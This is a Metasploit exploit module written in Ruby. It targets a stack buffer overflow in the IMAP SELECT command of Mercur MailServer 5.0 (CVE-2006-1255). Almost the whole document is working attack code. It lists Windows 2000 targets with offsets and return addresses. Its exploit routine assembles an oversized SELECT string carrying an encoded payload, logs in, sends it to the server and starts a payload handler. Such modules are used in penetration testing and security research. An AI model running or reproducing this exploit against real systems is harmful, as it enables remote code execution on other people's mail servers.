Mercur MailServer 5.0 – IMAP SP3 SELECT Buffer Overflow (Metasploit)
## # $Id: mercur_imap_select_overflow.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Imap def initialize(info = {}) super(update_info(info, 'Name' => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow', 'Description' => %q{ Mercur v5.0 IMAP server is prone to a remotely exploitable stack-based buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed size memory buffer. Credit to Tim Taylor for discover the vulnerability. }, 'Author' => [ 'Jacopo Cervini <acaro [at] jervus.it>' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2006-1255' ], [ 'OSVDB', '23950' ], [ 'BID', '17138' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['Windows 2000 Server SP4 English', { 'Offset' => 126, 'Ret' => 0x13e50b42 }], ['Windows 2000 Pro SP1 English', { 'Offset' => 127, 'Ret' => 0x1446e242 }], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 17 2006')) end def exploit sploit = "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20" sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset']) sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8) sploit << payload.encoded + rand_text_alpha_upper(453) info = connect_login if (info == true) print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret) sock.put(sploit + "\r\n") else print_status("Not falling through with exploit") end handler disconnect end end |